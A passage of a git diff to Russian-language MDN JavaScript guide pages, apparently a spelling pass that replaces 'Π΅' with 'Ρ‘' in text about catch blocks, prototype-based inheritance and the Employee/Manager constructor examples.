-<p>JavaScript создаСт ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ <code>catchID</code>, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌΡƒ присваиваСтся ΠΏΠ΅Ρ€Π΅Ρ…Π²Π°Ρ‡Π΅Π½Π½ΠΎΠ΅ ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅, ΠΏΡ€ΠΈ Π²Ρ…ΠΎΠ΄Π΅ Π² Π±Π»ΠΎΠΊ <code>catch</code>;Β Π΄Π°Π½Π½Ρ‹ΠΉ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ Π΄ΠΎΡΡ‚ΡƒΠΏΠ΅Π½Β Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² ΠΏΡ€Π΅Π΄Π΅Π»Π°Ρ… Π±Π»ΠΎΠΊΠ° <code>catch</code> ΠΈ уничтоТаСтся ΠΏΡ€ΠΈ Π²Ρ‹Ρ…ΠΎΠ΄Π΅ ΠΈΠ· Π½Π΅Π³ΠΎ.</p>
+<p>JavaScript создаёт ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ <code>catchID</code>, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌΡƒ присваиваСтся ΠΏΠ΅Ρ€Π΅Ρ…Π²Π°Ρ‡Π΅Π½Π½ΠΎΠ΅ ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅, ΠΏΡ€ΠΈ Π²Ρ…ΠΎΠ΄Π΅ Π² Π±Π»ΠΎΠΊ <code>catch</code>;Β Π΄Π°Π½Π½Ρ‹ΠΉ ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ‚ΠΎΡ€ Π΄ΠΎΡΡ‚ΡƒΠΏΠ΅Π½Β Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² ΠΏΡ€Π΅Π΄Π΅Π»Π°Ρ… Π±Π»ΠΎΠΊΠ° <code>catch</code> ΠΈ уничтоТаСтся ΠΏΡ€ΠΈ Π²Ρ‹Ρ…ΠΎΠ΄Π΅ ΠΈΠ· Π½Π΅Π³ΠΎ.</p>
<p>Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅ΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ выбрасываСтся ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ пСрСхватываСтся Π² Π±Π»ΠΎΠΊΠ΅ <code>catch</code>:</p>
diff --git a/files/ru/web/javascript/guide/details_of_the_object_model/index.html b/files/ru/web/javascript/guide/details_of_the_object_model/index.html
index 5a78bd6a74..a93d7aa85e 100644
--- a/files/ru/web/javascript/guide/details_of_the_object_model/index.html
+++ b/files/ru/web/javascript/guide/details_of_the_object_model/index.html
@@ -28,17 +28,17 @@ translation_of: Web/JavaScript/Guide/Details_of_the_Object_Model
<h3 id="ΠŸΠΎΠ΄ΠΊΠ»Π°ΡΡΡ‹_ΠΈ_наслСдованиС">ΠŸΠΎΠ΄ΠΊΠ»Π°ΡΡΡ‹ ΠΈ наслСдованиС</h3>
-<p>Π’ языках, основанных Π½Π° классах, Π²Ρ‹ создаСтС ΠΈΠ΅Ρ€Π°Ρ€Ρ…ΠΈΡŽ классов Ρ‡Π΅Ρ€Π΅Π·Β ΠΎΠ±ΡŠΡΠ²Π»Π΅Π½ΠΈΠ΅Β ΠΊΠ»Π°ΡΡΠΎΠ². Π’ объявлСнии класса Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ Π½ΠΎΠ²Ρ‹ΠΉ класс являСтся <em>подклассом</em>Β ΡƒΠΆΠ΅ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π³ΠΎ класса. ΠŸΡ€ΠΈ этом, подкласс унаслСдуСт всС свойства супСркласса ΠΈ Π² Π΄ΠΎΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ смоТСт Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ свои свойства ΠΈΠ»ΠΈ ΠΏΠ΅Ρ€Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ унаслСдованныС. НапримСр, ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»ΠΎΠΆΠΈΠΌ, что класс <code><span style="font-family: consolas,monaco,andale mono,monospace;">Employee</span></code>Β Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ Π΄Π²Π° свойства:Β <code>name</code>Β ΠΈ <code>dept</code>, Π° класс <code><span style="font-family: consolas,monaco,andale mono,monospace;">Manager</span></code> являСтся подклассом <code><span style="font-family: consolas,monaco,andale mono,monospace;">Employee</span></code> ΠΈ добавляСт свойство <code>reports</code>. Π’ этом случаС, экзСмпляр класса <code><span style="font-family: consolas,monaco,andale mono,monospace;">Manager</span></code>Β Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ Ρ‚Ρ€ΠΈ свойства: <code>name</code>, <code>dept</code>, ΠΈ <code>reports</code>.</p>
+<p>Π’ языках, основанных Π½Π° классах, Π²Ρ‹ создаётС ΠΈΠ΅Ρ€Π°Ρ€Ρ…ΠΈΡŽ классов Ρ‡Π΅Ρ€Π΅Π·Β ΠΎΠ±ΡŠΡΠ²Π»Π΅Π½ΠΈΠ΅Β ΠΊΠ»Π°ΡΡΠΎΠ². Π’ объявлСнии класса Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ Π½ΠΎΠ²Ρ‹ΠΉ класс являСтся <em>подклассом</em>Β ΡƒΠΆΠ΅ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰Π΅Π³ΠΎ класса. ΠŸΡ€ΠΈ этом, подкласс унаслСдуСт всС свойства супСркласса ΠΈ Π² Π΄ΠΎΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ смоТСт Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ свои свойства ΠΈΠ»ΠΈ ΠΏΠ΅Ρ€Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ унаслСдованныС. НапримСр, ΠΏΡ€Π΅Π΄ΠΏΠΎΠ»ΠΎΠΆΠΈΠΌ, что класс <code><span style="font-family: consolas,monaco,andale mono,monospace;">Employee</span></code>Β Π²ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ Π΄Π²Π° свойства:Β <code>name</code>Β ΠΈ <code>dept</code>, Π° класс <code><span style="font-family: consolas,monaco,andale mono,monospace;">Manager</span></code> являСтся подклассом <code><span style="font-family: consolas,monaco,andale mono,monospace;">Employee</span></code> ΠΈ добавляСт свойство <code>reports</code>. Π’ этом случаС, экзСмпляр класса <code><span style="font-family: consolas,monaco,andale mono,monospace;">Manager</span></code>Β Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ Ρ‚Ρ€ΠΈ свойства: <code>name</code>, <code>dept</code>, ΠΈ <code>reports</code>.</p>
<p>JavaScript Ρ€Π΅Π°Π»ΠΈΠ·ΡƒΠ΅Ρ‚ наслСдованиС, позволяя ΡΠ²ΡΠ·Π°Ρ‚ΡŒ ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠ½Ρ‹ΠΉ ΠΎΠΎΠ±ΡŠΠ΅ΠΊΡ‚Β Ρ любой Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉ-конструктором. Π˜Ρ‚Π°ΠΊ, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ ΠΎΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Ρ‚ΠΎΡ‡ΡŒ-Π²-Ρ‚ΠΎΡ‡ΡŒ, ΠΊΠ°ΠΊ Π² ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅Β <code><span style="font-family: consolas,monaco,andale mono,monospace;">Employee</span></code>Β β€” <code><span style="font-family: consolas,monaco,andale mono,monospace;">Manager</span></code>, Π½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ нСсколько ΠΈΠ½ΡƒΡŽ Ρ‚Π΅Ρ…Π½ΠΈΠΊΡƒ. Для Π½Π°Ρ‡Π°Π»Π° Π½ΡƒΠΆΠ½ΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ-конструктор <code><span style="font-family: consolas,monaco,andale mono,monospace;">Employee</span></code>, которая опрСдСляСт свойства <code>name</code>Β ΠΈΒ <code>dept</code>. Π—Π°Ρ‚Π΅ΠΌ, опрСдСляСм Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ-конструктор <code><span style="font-family: consolas,monaco,andale mono,monospace;">Manager</span></code>, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ Π² свою ΠΎΡ‡Π΅Ρ€Π΅Π΄ΡŒ, Π±ΡƒΠ΄Π΅Ρ‚ явно Π²Ρ‹Π·Ρ‹Π²Π°Ρ‚ΡŒΡΡ конструктор <span style="font-family: consolas,monaco,andale mono,monospace;"><code>Employee</code> ΠΈ</span>Β ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡ‚ΡŒΡΡ новоС свойство <code>reports</code>. НаконСц, присваиваСм Π½ΠΎΠ²Ρ‹ΠΉ экзСмпляр <code><span style="font-family: consolas,monaco,andale mono,monospace;">Employee</span></code>, Π² качСствС <code>prototype</code> для Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ-конструктора <code><span style="font-family: consolas,monaco,andale mono,monospace;">Manager</span></code>. Π’Π΅ΠΏΠ΅Ρ€ΡŒ, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ создадитС Π½ΠΎΠ²ΠΎΠ³ΠΎΒ <span style="font-family: consolas,monaco,andale mono,monospace;">Manager</span>, ΠΎΠ½ унаслСдуСт свойства <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">name</span></font>Β ΠΈΒ <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">dept</span></font>Β ΠΈΠ· ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°Β <code><span style="font-family: consolas,monaco,andale mono,monospace;">Employee</span></code>.</p>
<h3 id="Π”ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠ΅_ΠΈ_ΡƒΠ΄Π°Π»Π΅Π½ΠΈΠ΅_свойств">Π”ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠ΅ ΠΈ ΡƒΠ΄Π°Π»Π΅Π½ΠΈΠ΅ свойств</h3>
-<p>Π’ языках, основанных Π½Π° классах, Π²Ρ‹, ΠΊΠ°ΠΊ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ, создаСтС класс Π²ΠΎ врСмя компиляции, Π° Π·Π°Ρ‚Π΅ΠΌ Π²Ρ‹ создаётС экзСмпляры класса Π»ΠΈΠ±ΠΎ Π²ΠΎ врСмя компиляции, Π»ΠΈΠ±ΠΎ Π²ΠΎ врСмя выполнСния. Π’Ρ‹ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ количСство ΠΈΠ»ΠΈ Ρ‚ΠΈΠΏ свойств класса послС опрСдСлСния класса. Π’ JavaScript, ΠΎΠ΄Π½Π°ΠΊΠΎ, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄ΠΎΠ±Π°Π²Π»ΡΡ‚ΡŒ ΠΈΠ»ΠΈ ΡƒΠ΄Π°Π»ΡΡ‚ΡŒ свойства любого ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°. Если Π²Ρ‹ добавляСтС свойство ΠΊ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρƒ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Π² качСствС ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠ° для мноТСства ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ², Ρ‚ΠΎ всС эти ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹, для ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΎΠ½ являСтся ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠΎΠΌ, Ρ‚Π°ΠΊΠΆΠ΅ ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ это свойство.</p>
+<p>Π’ языках, основанных Π½Π° классах, Π²Ρ‹, ΠΊΠ°ΠΊ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ, создаётС класс Π²ΠΎ врСмя компиляции, Π° Π·Π°Ρ‚Π΅ΠΌ Π²Ρ‹ создаётС экзСмпляры класса Π»ΠΈΠ±ΠΎ Π²ΠΎ врСмя компиляции, Π»ΠΈΠ±ΠΎ Π²ΠΎ врСмя выполнСния. Π’Ρ‹ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ количСство ΠΈΠ»ΠΈ Ρ‚ΠΈΠΏ свойств класса послС опрСдСлСния класса. Π’ JavaScript, ΠΎΠ΄Π½Π°ΠΊΠΎ, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄ΠΎΠ±Π°Π²Π»ΡΡ‚ΡŒ ΠΈΠ»ΠΈ ΡƒΠ΄Π°Π»ΡΡ‚ΡŒ свойства любого ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°. Если Π²Ρ‹ добавляСтС свойство ΠΊ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρƒ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ Π² качСствС ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠ° для мноТСства ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ², Ρ‚ΠΎ всС эти ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹, для ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΎΠ½ являСтся ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠΎΠΌ, Ρ‚Π°ΠΊΠΆΠ΅ ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ это свойство.</p>
<h3 id="ΠŸΠΎΠ΄Ρ‹Ρ‚ΠΎΠΆΠΈΠΌ_различия">ΠŸΠΎΠ΄Ρ‹Ρ‚ΠΎΠΆΠΈΠΌ различия</h3>
-<p>Π‘Π»Π΅Π΄ΡƒΡŽΡ‰Π°Ρ Ρ‚Π°Π±Π»ΠΈΡ†Π° Π΄Π°Π΅Ρ‚ ΠΊΡ€Π°Ρ‚ΠΊΠΈΠΉ ΠΎΠ±Π·ΠΎΡ€ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΈΠ· этих Ρ€Π°Π·Π»ΠΈΡ‡ΠΈΠΉ. А ΠΎΡΡ‚Π°Π²ΡˆΠ°ΡΡΡ Ρ‡Π°ΡΡ‚ΡŒ этой Π³Π»Π°Π²Ρ‹ описываСт Π΄Π΅Ρ‚Π°Π»ΠΈ использования конструкторов ΠΈ ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠΎΠ² JavaScript для создания ΠΈΠ΅Ρ€Π°Ρ€Ρ…ΠΈΠΈ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² ΠΈ сравниваСт это с Ρ‚Π΅ΠΌ, ΠΊΠ°ΠΊ Π²Ρ‹ ΠΌΠΎΠ³Π»ΠΈ Π±Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ это Π² Java.</p>
+<p>Π‘Π»Π΅Π΄ΡƒΡŽΡ‰Π°Ρ Ρ‚Π°Π±Π»ΠΈΡ†Π° Π΄Π°Ρ‘Ρ‚ ΠΊΡ€Π°Ρ‚ΠΊΠΈΠΉ ΠΎΠ±Π·ΠΎΡ€ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΈΠ· этих Ρ€Π°Π·Π»ΠΈΡ‡ΠΈΠΉ. А ΠΎΡΡ‚Π°Π²ΡˆΠ°ΡΡΡ Ρ‡Π°ΡΡ‚ΡŒ этой Π³Π»Π°Π²Ρ‹ описываСт Π΄Π΅Ρ‚Π°Π»ΠΈ использования конструкторов ΠΈ ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠΎΠ² JavaScript для создания ΠΈΠ΅Ρ€Π°Ρ€Ρ…ΠΈΠΈ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² ΠΈ сравниваСт это с Ρ‚Π΅ΠΌ, ΠΊΠ°ΠΊ Π²Ρ‹ ΠΌΠΎΠ³Π»ΠΈ Π±Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ это Π² Java.</p>
<table class="fullwidth-table">
<caption>Π‘Ρ€Π°Π²Π½Π΅Π½ΠΈΠ΅ языков Π½Π° основС классов (Java) ΠΈ Π½Π° Π±Π°Π·Π΅ ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠΎΠ² (JavaScript)</caption>
@@ -54,7 +54,7 @@ translation_of: Web/JavaScript/Guide/Details_of_the_Object_Model
<td>ВсС ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ ΠΌΠΎΠ³ΡƒΡ‚ Π½Π°ΡΠ»Π΅Π΄ΠΎΠ²Π°Ρ‚ΡŒ свойства Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°.</td>
</tr>
<tr>
- <td>ΠžΠΏΡ€Π΅Π΄Π΅Π»ΡΠ΅ΠΌ класс с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ опрСдСлСния класса; создаСм экзСмпляр класса с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΌΠ΅Ρ‚ΠΎΠ΄Π°-конструктора.</td>
+ <td>ΠžΠΏΡ€Π΅Π΄Π΅Π»ΡΠ΅ΠΌ класс с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ опрСдСлСния класса; создаём экзСмпляр класса с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ ΠΌΠ΅Ρ‚ΠΎΠ΄Π°-конструктора.</td>
<td>ΠžΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ ΠΈ созданиС ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° происходит с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ-конструкторов.</td>
</tr>
<tr>
@@ -64,7 +64,7 @@ translation_of: Web/JavaScript/Guide/Details_of_the_Object_Model
<tr>
<td>Π˜Π΅Ρ€Π°Ρ€Ρ…ΠΈΡ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² строится с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ опрСдСлСния классов ΠΈ ΠΈΡ… подклассов.</td>
<td>
- <p>ΠŸΠΎΡΡ‚Ρ€ΠΎΠ΅Π½ΠΈΠ΅Β ΠΈΠ΅Ρ€Π°Ρ€Ρ…ΠΈΠΈΒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² происходит ΠΏΡƒΡ‚Π΅ΠΌ присвоСния ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° Π² качСствС ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠ° Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ-конструктора.</p>
+ <p>ΠŸΠΎΡΡ‚Ρ€ΠΎΠ΅Π½ΠΈΠ΅Β ΠΈΠ΅Ρ€Π°Ρ€Ρ…ΠΈΠΈΒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² происходит ΠΏΡƒΡ‚Ρ‘ΠΌ присвоСния ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° Π² качСствС ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠ° Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ-конструктора.</p>
</td>
</tr>
<tr>
@@ -73,7 +73,7 @@ translation_of: Web/JavaScript/Guide/Details_of_the_Object_Model
</tr>
<tr>
<td>ΠžΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ класса опрСдСляСт <em>всС</em> свойства всСх экзСмпляров класса. НСльзя динамичСски Π΄ΠΎΠ±Π°Π²Π»ΡΡ‚ΡŒ свойства Π²ΠΎ врСмя выполнСния.</td>
- <td>Ѐункция-конструктор ΠΈΠ»ΠΈ ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏ Π·Π°Π΄Π°Π΅Ρ‚ <em>Π½Π°Ρ‡Π°Π»ΡŒΠ½Ρ‹ΠΉ</em> Π½Π°Π±ΠΎΡ€ свойств. МоТно Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ ΠΈΠ»ΠΈ ΡƒΠ΄Π°Π»ΠΈΡ‚ΡŒ свойства динамичСски ΠΊ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΌ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°ΠΌ ΠΈΠ»ΠΈ всСй совокупности ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ².</td>
+ <td>Ѐункция-конструктор ΠΈΠ»ΠΈ ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏ Π·Π°Π΄Π°Ρ‘Ρ‚ <em>Π½Π°Ρ‡Π°Π»ΡŒΠ½Ρ‹ΠΉ</em> Π½Π°Π±ΠΎΡ€ свойств. МоТно Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ ΠΈΠ»ΠΈ ΡƒΠ΄Π°Π»ΠΈΡ‚ΡŒ свойства динамичСски ΠΊ ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹ΠΌ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°ΠΌ ΠΈΠ»ΠΈ всСй совокупности ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ².</td>
</tr>
</tbody>
</table>
@@ -152,7 +152,7 @@ function Manager() {
Employee.call(this);
this.reports = [];
}
-//создаСм пустой ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ с ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠΎΠΌ ΠΎΡ‚ конструктора Employee
+//создаём пустой ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ с ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠΎΠΌ ΠΎΡ‚ конструктора Employee
//ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌ этот ΠΎΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΠΊΠ°ΠΊ ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏ для Manager
Manager.prototype = Object.create(Employee.prototype);
@@ -236,7 +236,7 @@ public class Engineer extends WorkerBee {
<p>Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ эти опрСдСлСния, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ экзСмпляры ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ², ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΏΠΎΠ»ΡƒΡ‡Π°Ρ‚ значСния ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ для своих свойств. Рисунок 8.3 ΠΈΠ»Π»ΡŽΡΡ‚Ρ€ΠΈΡ€ΡƒΠ΅Ρ‚ использованиС этих ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠΉ ΠΈ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ значСния свойств Ρƒ ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½Ρ‹Ρ… ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ².</p>
-<p>{{ note('Π’Π΅Ρ€ΠΌΠΈΠ½ <em>экзСмпляр </em>ΠΈΠΌΠ΅Π΅Ρ‚ спСцифичСскоС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π² языках, основанных на классах. Π’ этих языках экзСмпляр — это ΠΈΠ½Π΄ΠΈΠ²ΠΈΠ΄ΡƒΠ°Π»ΡŒΠ½Π°Ρ ΡΡƒΡ‰Π½ΠΎΡΡ‚ΡŒ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ класса ΠΈ ΠΏΡ€ΠΈΠ½Ρ†ΠΈΠΏΠΈΠ°Π»ΡŒΠ½ΠΎ отличаСтся ΠΎΡ‚ класса. Π’ JavaScript «экзСмпляр» Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ Ρ‚Π°ΠΊΠΎΠ³ΠΎ тСхничСского значСния, ΠΏΠΎΡ‚ΠΎΠΌΡƒ Ρ‡Ρ‚ΠΎ JavaScript Π½Π΅ Π΄Π΅Π»Π°Π΅Ρ‚ Ρ‚Π°ΠΊΠΈΡ… ΠΎΡ‚Π»ΠΈΡ‡ΠΈΠΉ ΠΌΠ΅ΠΆΠ΄Ρƒ классами ΠΈ экзСмплярами. Однако, Π² Ρ€Π°Π·Π³ΠΎΠ²ΠΎΡ€Π΅ ΠΎ JavaScript, Ρ‚Π΅Ρ€ΠΌΠΈΠ½ «экзСмпляр» ΠΌΠΎΠΆΠ΅Ρ‚ Π½Π΅Ρ„ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ для обозначСния ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°, созданного с использованиСм ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΎΠΉ <span>Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ конструктора. Π’Π°ΠΊ, Π² этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π΅Ρ„ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½ΠΎ ΡΠΊΠ°Π·Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ <code>jane</code> являСтся экзСмпляром <code>Engineer</code>. Аналогично, хотя Ρ‚Π΅Ρ€ΠΌΠΈΠ½Ρ‹ <em>parent, child, ancestor</em> ΠΈ <em>descendant</em> (<em>Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒ, Ρ€Π΅Π±Π΅Π½ΠΎΠΊ, ΠΏΡ€Π΅Π΄ΠΎΠΊ</em> ΠΈ <em>ΠΏΠΎΡ‚ΠΎΠΌΠΎΠΊ</em>) Π½Π΅ ΠΈΠΌΠ΅ΡŽΡ‚ Ρ„ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½Ρ‹Ρ… Π·Π½Π°Ρ‡Π΅Π½ΠΈΠΉ Π² JavaScript, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ ΠΈΡ… Π½Π΅Ρ„ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½ΠΎ для ссылки Π½Π° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ Π²Ρ‹ΡˆΠ΅ ΠΈΠ»ΠΈ Π½ΠΈΠΆΠ΅</span> <span>Π²</span> <span>Ρ†Π΅ΠΏΠΎΡ‡ΠΊΠ΅ ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠΎΠ².') }}</span></p>
